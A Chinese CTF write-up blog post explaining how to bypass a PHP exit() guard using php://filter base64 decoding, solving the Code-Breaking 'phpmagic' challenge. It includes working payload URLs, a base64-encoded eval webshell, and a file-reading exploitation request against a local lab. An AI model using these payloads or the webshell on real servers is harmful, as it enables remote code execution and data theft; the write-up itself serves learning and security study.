php://filter编码绕过

前言

利用code-breaking学学奇淫技巧

base64编码

以三个字符为一组经过base64加密形成四个字符,如果最后一组不足三个字符,使用0填充形成”=”
字符 -> ASCII -> 8bit字节 -> 6bit字节 -> 十进制 -> 对应编码

            T           o           m
ASCII:      84          111         109
8bit字节:   01010100    01101111    01101101
6bit字节:     010101      000110      111101      101101
十进制:     21          6           61          45
对应编码:   V           G           9           t
            L           u           c           y
ASCII:      76          117         99          121
8bit字节:   01001100    01110101    01100011    01111001      00000000    00000000
6bit字节:     010011      000111      010101      100011      011110  010000  000000  000000
十进制:     19          7           21          35             30      16      (异常) (异常)      
对应编码:   T           H           V           j               e       Q       =       =

php://filter编码绕过exit


如上代码即使写入webshell,也会被exit给shutdown

献上payload
http://127.0.0.1/exit.php?filename=php://filter/write=convert.base64-decode/reesource=1.php&content=xPD9waHAgcGhwaW5mbygpOw==
webshell 前的x是我故意加上去,可以看到exit语句被编码之后形成乱码。

接下来分析下缘由,需要写入webshell,但是由于exit的存在,导致getshell失败。这里用到的绕过知识是phpbase64_decode只会对[^a-z0-9A-Z+/]解码,而字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略。所以base64_decode只作用于phpexit,但本题中<?php phpinfo();base64之后为4的倍数,但是拼接phpexit七个字节之后不满足base64解码条件以4个字节为一组解码。所以我们在前面加个字母x

Codebeaking-phpmagic


代码功能主要通过dig -t A -q对输入的domain网址进行dns解析。但是我们的目的是写入shell得到flag。本来想着看是否能够绕过escapeshellarg达到getshell目的,可能太渣没有发现绕过的方法。

目光转到了写入文件file_put_contents($log_name, $output);很容易想到使用php伪协议,发现log_name是由$_SERVER['SERVER_NAME']$log_name拼接而成。当开启UseCanonicalName=ONServerName,可以通过客户端控制。

lognamein_array白名单强判断,需要绕过。这里参考
php & apache2 &操作系统之间的一些黑魔法
php会对 1.php/. 解析为1.php。且这里1.php/.也能绕过in_array判断


out_puthtmlspecialchars实体编码直接写入一句话会被转义,这里就可以使用base64一句话木马进行getshell

NOTIC:尽量使得webshell满足3的整数倍注意base64之后的一句话不要带有"=" 否则会读取失败

<?php @eval($_GET[456]);/*....  =》 PD9waHAgQGV2YWwoJF9HRVRbNDU2XSk7LyouLi4u

利用

http://127.0.0.1:8082/data/2ff4fb82e497844a03adf28cf6bedfde/7.php?456=print_r(scandir(%27../../../%27));highlight_file(%27../../../flag_phpmag1c_ur1%27);

谈一谈php://filter的妙用
php & apache2 &操作系统之间的一些黑魔法


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!